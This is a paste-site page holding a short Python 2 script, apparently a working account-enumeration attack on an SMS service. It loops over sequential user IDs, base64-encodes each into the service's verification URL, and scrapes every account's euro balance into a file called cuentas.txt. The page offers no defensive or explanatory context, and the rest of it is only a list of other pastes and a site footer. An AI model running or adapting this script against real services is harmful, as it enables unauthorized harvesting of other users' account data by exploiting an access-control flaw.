#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import urllib2
import re
import base64
from cookielib import Cookie
from cookielib import CookieJar

cookiejar = CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookiejar))
opener.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.89 Safari/537.36')]
def revisarCuenta(iId):
	try:
		peticion = opener.open("http://www.ismsad.com/verificacion.php?id="+ base64.b64encode(str(iId)))
		datos = peticion.read()
	except urllib2.HTTPError, e:
		datos = e.fp.read()
	saldo = re.findall( r'<a href="usuarioCompraSMS.php"><strong>(.*) \xe2\x82\xac<\/strong>', datos)
	if saldo:
		return str(iId) + ": " +  saldo[0]
	else:
		return None
	
contador = 1
while True:
	cuenta = revisarCuenta(contador)	
	if cuenta:
		f = open('cuentas.txt', 'a')
		print >> f, cuenta
		f.close()
	contador = contador + 1

comments powered by Disqus
TitleTime
Stream online Moreirense ...1 hour
sdfesv bvrtgf gfhn1 hour
rwqwrwqrqwrwqr1 hour
Fisher vs Allen Live Stre...2 hours
✨MEGA✨ ♥️FOLDER...2 hours
Watch Lapin v Colin live ...2 hours
LEGIT WU TRF BUG CVC NON ...2 hours

© Paste4BTC 2014 - Earn bitcoins by pasting! | My pastes | Popular pastes | New pastes | Payments | FAQ | Terms of Service